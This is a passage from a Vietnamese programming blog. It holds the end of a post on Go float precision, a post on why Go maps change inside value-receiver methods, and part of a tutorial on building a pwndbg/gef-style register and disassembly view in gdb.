<p>Vậy khi tính toán 0.1+0.1+0.1 với 256 bits (so với float64 chỉ có 64 bit), độ chính xác cao hơn 4 lần, kết quả cho 0.1+0.1+0.1 bằng với giá trị biểu diễn 0.3 (xem ở trên, vẫn không bằng 0.3 về mặt tóan học).</p>
<h3>Kết luận</h3>
<p>Kiểu float64 trong Go vẫn tuân theo <a href="https://en.wikipedia.org/wiki/IEEE_754">IEEE754</a>, nên kết luận về kiểu float vẫn giống như Python. Điều khác biệt chỉ là một số trường hợp nhỏ xảy ra khi sử dụng const.</p>
<p>Go thật đơn giản, ha!</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Go value receiver method vẫn thay đổi được giá trị?!2023-01-27T00:00:00+07:002023-01-27T00:00:00+07:00hvntag:familug.github.io,2023-01-27:/go-value-receiver-method-van-thay-doi-duoc-gia-tri.html<p>Bài viết đầu tiên của nhiều bài viết sẽ bán than về "Go" - ngôn ngữ lập trình
non trẻ (since 2010) nhưng khá hot trên toàn cầu.</p>
<h3>Go is simple</h3>
<p>Go thường được nhìn nhận là "đơn giản", không phủ nhận việc làm xong gotour <a href="https://go.dev/tour/">https://go.dev/tour/</a> khiến …</p><p>Bài viết đầu tiên của nhiều bài viết sẽ bán than về "Go" - ngôn ngữ lập trình
non trẻ (since 2010) nhưng khá hot trên toàn cầu.</p>
<h3>Go is simple</h3>
<p>Go thường được nhìn nhận là "đơn giản", không phủ nhận việc làm xong gotour <a href="https://go.dev/tour/">https://go.dev/tour/</a> khiến người học có thể bắt đầu viết code go, sau 1 tháng có thể tham gia code production (và viết bug).</p>
<p>Có hẳn cuốn sách giá cả triệu đồng bán rất chạy về những mistake khi dùng
ngôn ngữ đơn giản này <a href="https://www.manning.com/books/100-go-mistakes-and-how-to-avoid-them">100 Go Mistakes and How to Avoid
Them</a>.</p>
<p>Không dùng thì thôi, sao phải chê, thích chiến à?</p>
<p>Có một sự thật đi làm khá lâu mới nhận ra, rằng 99.99% <strong>BẠN</strong> không phải người quyết định công ty/dự án dùng cái gì. Những người/thứ quyết định sẽ là:</p>
<ul>
<li>công nghệ có sẵn của công ty</li>
<li>công nghệ quen thuộc của team</li>
<li>bên trên chỉ xuống (CTO/architect...)</li>
<li>khách hàng yêu cầu</li>
</ul>
<p>vậy nên thích hay không vẫn phải dùng. Mà dùng không sướng thì phê bình thôi.
<img alt="map bug" src="https://familug.github.io/images/go_map_bug.webp"></p>
<h3>Go pointer receiver vs value receiver</h3>
<p>Go receiver có 2 loại là pointer và value.</p>
<p>Trích từ Go tour <a href="https://go.dev/tour/methods/4">https://go.dev/tour/methods/4</a></p>
<blockquote>
<p>Methods with pointer receivers can modify the value to which the receiver points (as Scale does here). Since methods often need to modify their receiver, pointer receivers are more common than value receivers.</p>
</blockquote>
<p>và <a href="https://go.dev/tour/methods/8">Choosing a value or pointer receiver</a></p>
<blockquote>
<p>There are two reasons to use a pointer receiver.
The first is so that the method can modify the value that its receiver points to.
The second is to avoid copying the value on each method call. This can be more efficient if the receiver is a large struct, for example.</p>
</blockquote>
<p>Theo hướng dẫn này, người học Go sẽ hiểu rằng khi viết</p>
<div class="highlight"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="p">(</span><span class="nx">t</span><span class="w"> </span><span class="o">*</span><span class="kd">type</span><span class="p">)</span><span class="w"> </span><span class="nx">name</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<p>thì có thể thay đổi t</p>
<p>và</p>
<div class="highlight"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="p">(</span><span class="nx">t</span><span class="w"> </span><span class="kd">type</span><span class="p">)</span><span class="w"> </span><span class="nx">name</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<p>thì không thể thay đổi t.</p>
<p>Ngoài ra, trong Go tour không còn chỗ nào ghi thêm gì nữa.</p>
<p>Thử ví dụ sau, đừng ôm đầu kêu đau:</p>
<div class="highlight"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w"></span>
<span class="kn">import</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="s">"fmt"</span><span class="w"></span>
<span class="p">)</span><span class="w"></span>
<span class="kd">type</span><span class="w"> </span><span class="nx">toy</span><span class="w"> </span><span class="kd">struct</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">names</span><span class="w"> </span><span class="p">[]</span><span class="kt">string</span><span class="w"></span>
<span class="w"> </span><span class="nx">ages</span><span class="w"> </span><span class="kd">map</span><span class="p">[</span><span class="kt">string</span><span class="p">]</span><span class="kt">int</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="kd">func</span><span class="w"> </span><span class="p">(</span><span class="nx">t</span><span class="w"> </span><span class="o">*</span><span class="nx">toy</span><span class="p">)</span><span class="w"> </span><span class="nx">change</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">t</span><span class="p">.</span><span class="nx">names</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nb">append</span><span class="p">(</span><span class="nx">t</span><span class="p">.</span><span class="nx">names</span><span class="p">,</span><span class="w"> </span><span class="s">"python"</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">t</span><span class="p">.</span><span class="nx">ages</span><span class="p">[</span><span class="s">"python"</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">32</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="kd">func</span><span class="w"> </span><span class="p">(</span><span class="nx">t</span><span class="w"> </span><span class="nx">toy</span><span class="p">)</span><span class="w"> </span><span class="nx">mayNotChange</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">t</span><span class="p">.</span><span class="nx">names</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nb">append</span><span class="p">(</span><span class="nx">t</span><span class="p">.</span><span class="nx">names</span><span class="p">,</span><span class="w"> </span><span class="s">"python"</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">t</span><span class="p">.</span><span class="nx">ages</span><span class="p">[</span><span class="s">"python"</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">32</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="kd">func</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">t</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">toy</span><span class="p">{</span><span class="nx">ages</span><span class="p">:</span><span class="w"> </span><span class="kd">map</span><span class="p">[</span><span class="kt">string</span><span class="p">]</span><span class="kt">int</span><span class="p">{</span><span class="s">"golang"</span><span class="p">:</span><span class="w"> </span><span class="mi">12</span><span class="p">}}</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%v\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">t</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">t</span><span class="p">.</span><span class="nx">change</span><span class="p">()</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%v\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">t</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">t2</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">toy</span><span class="p">{</span><span class="nx">ages</span><span class="p">:</span><span class="w"> </span><span class="kd">map</span><span class="p">[</span><span class="kt">string</span><span class="p">]</span><span class="kt">int</span><span class="p">{</span><span class="s">"golang"</span><span class="p">:</span><span class="w"> </span><span class="mi">12</span><span class="p">}}</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%v\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">t2</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">t2</span><span class="p">.</span><span class="nx">mayNotChange</span><span class="p">()</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%v\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">t2</span><span class="p">)</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>chạy online trên <a href="https://go.dev/play/p/N781b6vT-GF">https://go.dev/play/p/N781b6vT-GF</a></p>
<p>Theo tài liệu Go tour, change nhận 1 pointer receiver nên sẽ thay đổi toy t và kết quả không có gì bất ngờ khi map giờ chứa thêm python 32.</p>
<p>Nhưng trong mayNotChange, trong khi slice t.names không đổi thì map t.ages vẫn bị thay đổi dù cho đã dùng value receiver.</p>
<div class="highlight"><pre><span></span><code><span class="p">{[]</span><span class="w"> </span><span class="kd">map</span><span class="p">[</span><span class="nx">golang</span><span class="p">:</span><span class="mi">12</span><span class="p">]}</span><span class="w"></span>
<span class="p">{[</span><span class="nx">python</span><span class="p">]</span><span class="w"> </span><span class="kd">map</span><span class="p">[</span><span class="nx">golang</span><span class="p">:</span><span class="mi">12</span><span class="w"> </span><span class="nx">python</span><span class="p">:</span><span class="mi">32</span><span class="p">]}</span><span class="w"></span>
<span class="o">====================================</span><span class="w"></span>
<span class="p">{[]</span><span class="w"> </span><span class="kd">map</span><span class="p">[</span><span class="nx">golang</span><span class="p">:</span><span class="mi">12</span><span class="p">]}</span><span class="w"></span>
<span class="p">{[]</span><span class="w"> </span><span class="kd">map</span><span class="p">[</span><span class="nx">golang</span><span class="p">:</span><span class="mi">12</span><span class="w"> </span><span class="nx">python</span><span class="p">:</span><span class="mi">32</span><span class="p">]}</span><span class="w"></span>
</code></pre></div>
<h3>Golang map là reference</h3>
<p>Trong <a href="https://go.dev/doc/effective_go#maps">Effective Go</a> có viết</p>
<blockquote>
<p>Like slices, maps hold references to an underlying data structure. If you pass a map to a function that changes the contents of the map, the changes will be visible in the caller.</p>
</blockquote>
<p>map refers tới cấu trúc dữ liệu bên dưới, thay đổi map sẽ thay đổi cấu trúc dữ liệu đó, còn bản thân map là 1 reference, không thay đổi, đúng như value receiver cam kết.</p>
<p>Bài tập cho bạn đọc: slice cũng là reference, sao map thay đổi còn slice thì không khi dùng value receiver? (đáp án xem cuối bài)</p>
<p>Thêm 1 ít tài liệu về 3 kiểu references: slice, map, channel <a href="https://go.dev/doc/effective_go#allocation_make">https://go.dev/doc/effective_go#allocation_make</a></p>
<blockquote>
<p>Back to allocation. The built-in function make(T, args) serves a purpose different from new(T). It creates slices, maps, and channels only, and it returns an initialized (not zeroed) value of type T (not *T). The reason for the distinction is that these three types represent, under the covers, references to data structures that must be initialized before use.</p>
</blockquote>
<h3>Kết luận</h3>
<p>Golang map là kiểu reference, có thể thay đổi giá trị nó refer tới bên trong 1 value receiver method.</p>
<p>Go thật đơn giản, ha!</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>
<p>Đáp án: t.names = append(t.names, "python") sẽ gán giá trị mới cho t.names, do dùng value receiver nên không thấy thay đổi gì.
Nếu thay đổi phần tử của slice, ví dụ t.names[0] = "Python" thì kết quả có thay đổi.
Tương tự, nếu viết t.ages = map[string]int{} sẽ thấy map ages không thay đổi. Xem code tại <a href="https://go.dev/play/p/yCn-mKVpPSo">https://go.dev/play/p/yCn-mKVpPSo</a></p>Tạo giao diện gdb như peda/gef/pwndbg2023-01-20T00:00:00+07:002023-01-20T00:00:00+07:00hvntag:familug.github.io,2023-01-20:/tao-giao-dien-gdb-nhu-pedagefpwndbg.html<p>GDB là một debugger lâu đời có rất nhiều tính năng. Nó giống <code>vim</code> /<code>emacs</code> nhiều điểm:</p>
<ul>
<li>nhiều tính năng nhưng mặc định thì không bật gì, khó dùng
<img alt="gdb_tui" src="https://familug.github.io/images/gdb_tui.png"></li>
<li>cài thêm các tính năng vào sẽ ngon lành</li>
<li>việc cấu hình cũng cần phải học, nên có nhiều bản "distro …</li></ul><p>GDB là một debugger lâu đời có rất nhiều tính năng. Nó giống <code>vim</code> /<code>emacs</code> nhiều điểm:</p>
<ul>
<li>nhiều tính năng nhưng mặc định thì không bật gì, khó dùng
<img alt="gdb_tui" src="https://familug.github.io/images/gdb_tui.png"></li>
<li>cài thêm các tính năng vào sẽ ngon lành</li>
<li>việc cấu hình cũng cần phải học, nên có nhiều bản "distro" dùng sẵn.</li>
<li>sau hàng chục năm config chán chê, người dùng hardcore lại quay về 1 file config đơn giản.</li>
</ul>
<p>GDB các bản mở rộng dễ dùng/tiện dụng hơn có:</p>
<ul>
<li><a href="https://github.com/pwndbg/pwndbg">https://github.com/pwndbg/pwndbg</a></li>
<li><a href="https://github.com/longld/peda">https://github.com/longld/peda</a></li>
<li><a href="https://github.com/hugsy/gef">https://github.com/hugsy/gef</a></li>
<li><a href="https://github.com/snare/voltron">https://github.com/snare/voltron</a></li>
</ul>
<p>Như vim có</p>
<ul>
<li><a href="https://spacevim.org/">spacevim</a></li>
<li><a href="http://vim.spf13.com/">spf13-vim</a></li>
<li>...</li>
</ul>
<p>Tương tự với emacs:</p>
<ul>
<li><a href="https://www.spacemacs.org/">spacemacs</a></li>
<li><a href="https://github.com/doomemacs/doomemacs">doomemacs</a></li>
</ul>
<p>PS: tham khảo 2 phần trước:</p>
<ul>
<li>p1: <a href="https://n.pymi.vn/hgdb.html">https://n.pymi.vn/hgdb.html</a></li>
<li>p2: <a href="https://n.pymi.vn/hgdb-arch.html">https://n.pymi.vn/hgdb-arch.html</a></li>
</ul>
<p>PPS: nên đọc trên máy tính.</p>
<h3>Tạo giao diện giống pwndbg/gef/peda</h3>
<p><img alt="pwndbg" src="https://github.com/pwndbg/pwndbg/raw/dev/caps/context.png"></p>
<p>3 bản mở rộng này nhìn chung đều có giao diện giống nhau. Màn hình sẽ hiện "context" với 3 phần:</p>
<ul>
<li>các register</li>
<li>disassembly code</li>
<li>stack</li>
</ul>
<h4>gdb lấy thông tin các register</h4>
<p>Lệnh gdb <code>info registers</code> sẽ hiện thông tin của tất cả các register.</p>
<div class="highlight"><pre><span></span><code>$ gdb ./a.out -q
Reading symbols from ./a.out...
<span class="o">(</span>No debugging symbols found <span class="k">in</span> ./a.out<span class="o">)</span>
<span class="o">(</span>gdb<span class="o">)</span> start
Temporary breakpoint <span class="m">1</span> at 0x1149
Starting program: /home/hvn/me/news/a.out
Temporary breakpoint <span class="m">1</span>, 0x0000555555555149 <span class="k">in</span> main <span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span> info registers
rax 0x555555555149 <span class="m">93824992235849</span>
rbx 0x5555555551a0 <span class="m">93824992235936</span>
rcx 0x5555555551a0 <span class="m">93824992235936</span>
rdx 0x7fffffffe548 <span class="m">140737488348488</span>
rsi 0x7fffffffe538 <span class="m">140737488348472</span>
rdi 0x1 <span class="m">1</span>
rbp 0x0 0x0
rsp 0x7fffffffe448 0x7fffffffe448
r8 0x0 <span class="m">0</span>
r9 0x7ffff7fe0d60 <span class="m">140737354009952</span>
r10 0x7 <span class="m">7</span>
r11 0x2 <span class="m">2</span>
r12 0x555555555060 <span class="m">93824992235616</span>
r13 0x7fffffffe530 <span class="m">140737488348464</span>
r14 0x0 <span class="m">0</span>
r15 0x0 <span class="m">0</span>
rip 0x555555555149 0x555555555149 <main>
eflags 0x246 <span class="o">[</span> PF ZF IF <span class="o">]</span>
cs 0x33 <span class="m">51</span>
ss 0x2b <span class="m">43</span>
ds 0x0 <span class="m">0</span>
es 0x0 <span class="m">0</span>
fs 0x0 <span class="m">0</span>
gs 0x0 <span class="m">0</span>
<span class="o">(</span>gdb<span class="o">)</span>
</code></pre></div>
<p>Để lấy thông tin của 1 register cụ thể, ví dụ rsp, gõ <code>info register rsp</code>.</p>
<p>So với pwndbg</p>
<div class="highlight"><pre><span></span><code> RAX 0x555555555149 (main) ◂— endbr64
RBX 0x5555555551a0 (__libc_csu_init) ◂— endbr64
RCX 0x5555555551a0 (__libc_csu_init) ◂— endbr64
RDX 0x7fffffffe488 —▸ 0x7fffffffe80a ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
RDI 0x1
RSI 0x7fffffffe478 —▸ 0x7fffffffe7f2 ◂— '/home/hvn/me/news/a.out'
R8 0x0
R9 0x7ffff7fe0d60 (_dl_fini) ◂— endbr64
R10 0x7
R11 0x2
R12 0x555555555060 (_start) ◂— endbr64
R13 0x7fffffffe470 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x0
RSP 0x7fffffffe388 —▸ 0x7ffff7dd8083 (__libc_start_main+243) ◂— mov edi, eax
RIP 0x555555555149 (main) ◂— endbr64
</code></pre></div>
<p>Thứ tự có thay đổi 1 chút và chỉ hiển thị tới RIP.</p>
<p>so với gef:</p>
<div class="highlight"><pre><span></span><code>$rax : 0x0000555555555149 → <main+0> endbr64
$rbx : 0x00005555555551a0 → <__libc_csu_init+0> endbr64
$rcx : 0x00005555555551a0 → <__libc_csu_init+0> endbr64
$rdx : 0x00007fffffffe488 → 0x00007fffffffe80a → "SSH_AUTH_SOCK=/run/user/1000/keyring/ssh"
$rsp : 0x00007fffffffe388 → 0x00007ffff7dd8083 → <__libc_start_main+243> mov edi, eax
$rbp : 0x0
$rsi : 0x00007fffffffe478 → 0x00007fffffffe7f2 → "/home/hvn/me/news/a.out"
$rdi : 0x1
$rip : 0x0000555555555149 → <main+0> endbr64
$r8 : 0x0
$r9 : 0x00007ffff7fe0d60 → <_dl_fini+0> endbr64
$r10 : 0x7
$r11 : 0x2
$r12 : 0x0000555555555060 → <_start+0> endbr64
$r13 : 0x00007fffffffe470 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
</code></pre></div>
<p>Hiện đủ các registers.</p>
<p>Cả 2 phiên bản này đều có giá trị thứ 2 là tên function nếu có thể tìm được.</p>
<p>Có thể sử dụng lệnh <code>x</code> để thu được kết quả tương tự:</p>
<div class="highlight"><pre><span></span><code>(gdb) x $rax
0x555555555149 <main>: 0xfa1e0ff3
(gdb) x $rbx
0x5555555551a0 <__libc_csu_init>: 0xfa1e0ff3
</code></pre></div>
<p>dùng <code>x/i</code> để "examine instruction" tại đó:</p>
<div class="highlight"><pre><span></span><code>(gdb) x/i $rax
=> 0x555555555149 <main>: endbr64
</code></pre></div>
<p>Viết câu lệnh context chạy <code>info registers</code> rồi lặp qua các register chạy <code>x/i</code> sẽ thu được kết quả như pwndbg/gef.</p>
<div class="highlight"><pre><span></span><code> <span class="k">def</span> <span class="nf">invoke</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">arg</span><span class="p">,</span> <span class="n">from_tty</span><span class="p">):</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">run_command</span><span class="p">(</span><span class="s2">"info registers"</span><span class="p">)</span><span class="o">.</span><span class="n">splitlines</span><span class="p">():</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">line</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">"r"</span><span class="p">):</span>
<span class="k">continue</span>
<span class="n">register</span><span class="p">,</span> <span class="n">_address</span><span class="p">,</span> <span class="o">*</span><span class="n">contents</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">split</span><span class="p">()</span>
<span class="n">r</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">run_command</span><span class="p">(</span><span class="sa">f</span><span class="s2">"x/i $</span><span class="si">{</span><span class="n">register</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s2">" =></span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
<span class="k">if</span> <span class="s1">'<'</span> <span class="ow">in</span> <span class="n">r</span> <span class="ow">and</span> <span class="s1">'>'</span> <span class="ow">in</span> <span class="n">r</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"</span><span class="si">{:<15}{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">register</span><span class="p">,</span> <span class="n">r</span><span class="p">))</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code>(gdb) context
rax 0x555555555149 <main>: endbr64
rbx 0x5555555551a0 <__libc_csu_init>: endbr64
rcx 0x5555555551a0 <__libc_csu_init>: endbr64
rdx 0x7fffffffe548 140737488348488
rsi 0x7fffffffe538 140737488348472
rdi 0x1 1
rbp 0x0 0x0
rsp 0x7fffffffe448 0x7fffffffe448
r8 0x0 0
r9 0x7ffff7fe0d60 <_dl_fini>: endbr64
r10 0x7 7
r11 0x2 2
r12 0x555555555060 <_start>: endbr64
r13 0x7fffffffe530 140737488348464
r14 0x0 0
r15 0x0 0
rip 0x555555555149 <main>: endbr64
</code></pre></div>
<h4>gdb disassemble code</h4>
<p>Hiển thị các instruction tương ứng trước và sau vị trí "hiện tại". Trên kiến trúc x86, đó là register <code>rip</code> (register instruction pointer), trên kiến trúc khác có thể là register khác, vậy nên GDB dùng tên chung <code>pc</code> (program counter) để thay tương ứng cho từng kiến trúc.</p>
<p>Phần này có tên là DISASM hoặc CODE</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="err">0</span><span class="nf">x555555555149</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">></span><span class="w"> </span><span class="no">endbr64</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x55555555514d</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">4</span><span class="err">></span><span class="w"> </span><span class="no">push</span><span class="w"> </span><span class="no">rbp</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x55555555514e</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">5</span><span class="err">></span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rbp</span><span class="p">,</span><span class="w"> </span><span class="no">rsp</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555151</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">8</span><span class="err">></span><span class="w"> </span><span class="no">sub</span><span class="w"> </span><span class="no">rsp</span><span class="p">,</span><span class="w"> </span><span class="mi">0x20</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555155</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">12</span><span class="err">></span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">rbp</span><span class="w"> </span><span class="p">-</span><span class="w"> </span><span class="mi">0x14</span><span class="p">],</span><span class="w"> </span><span class="no">edi</span><span class="w"></span>
<span class="w"> </span><span class="err">►</span><span class="w"> </span><span class="err">0</span><span class="nf">x555555555158</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">15</span><span class="err">></span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">qword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">rbp</span><span class="w"> </span><span class="p">-</span><span class="w"> </span><span class="mi">0x20</span><span class="p">],</span><span class="w"> </span><span class="no">rsi</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x55555555515c</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">19</span><span class="err">></span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">rbp</span><span class="w"> </span><span class="p">-</span><span class="w"> </span><span class="mi">0xc</span><span class="p">],</span><span class="w"> </span><span class="mi">5</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555163</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">26</span><span class="err">></span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">rbp</span><span class="w"> </span><span class="p">-</span><span class="w"> </span><span class="mi">8</span><span class="p">],</span><span class="w"> </span><span class="mi">7</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x55555555516a</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">33</span><span class="err">></span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">edx</span><span class="p">,</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">rbp</span><span class="w"> </span><span class="p">-</span><span class="w"> </span><span class="mi">0xc</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x55555555516d</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">36</span><span class="err">></span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">rbp</span><span class="w"> </span><span class="p">-</span><span class="w"> </span><span class="mi">8</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555170</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">39</span><span class="err">></span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="w"> </span><span class="no">edx</span><span class="w"></span>
</code></pre></div>
<p>Ta có thể lấy vị trí của <code>$pc</code> rồi in ra vài instruction trước và sau <code>$pc</code>, sử dụng lệnh <code>x/10i $pc</code>.</p>
<div class="highlight"><pre><span></span><code><span class="err">(</span><span class="nf">gdb</span><span class="p">)</span><span class="w"> </span><span class="no">set</span><span class="w"> </span><span class="no">disassembly-flavor</span><span class="w"> </span><span class="no">intel</span><span class="w"></span>
<span class="err">(</span><span class="nf">gdb</span><span class="p">)</span><span class="w"> </span><span class="no">start</span><span class="w"></span>
<span class="nf">Temporary</span><span class="w"> </span><span class="no">breakpoint</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="no">at</span><span class="w"> </span><span class="mi">0x1161</span><span class="w"></span>
<span class="nf">Starting</span><span class="w"> </span><span class="no">program</span><span class="p">:</span><span class="w"> </span><span class="err">/</span><span class="no">home</span><span class="err">/</span><span class="no">hvn</span><span class="err">/</span><span class="no">me</span><span class="err">/</span><span class="no">news</span><span class="err">/</span><span class="no">main</span><span class="w"></span>
<span class="nf">Temporary</span><span class="w"> </span><span class="no">breakpoint</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="mi">0x0000555555555161</span><span class="w"> </span><span class="no">in</span><span class="w"> </span><span class="no">main</span><span class="w"> </span><span class="p">()</span><span class="w"></span>
<span class="err">(</span><span class="nf">gdb</span><span class="p">)</span><span class="w"> </span><span class="no">x</span><span class="err">/</span><span class="mi">10</span><span class="no">i</span><span class="w"> </span><span class="no">$pc</span><span class="w"></span>
<span class="err">=></span><span class="w"> </span><span class="err">0</span><span class="nf">x555555555161</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">endbr64</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555165</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">4</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">push</span><span class="w"> </span><span class="no">rbp</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555166</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">5</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rbp</span><span class="p">,</span><span class="no">rsp</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555169</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">8</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">sub</span><span class="w"> </span><span class="no">rsp</span><span class="p">,</span><span class="mi">0x20</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x55555555516d</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">12</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x14</span><span class="p">],</span><span class="no">edi</span><span class="w"></span>
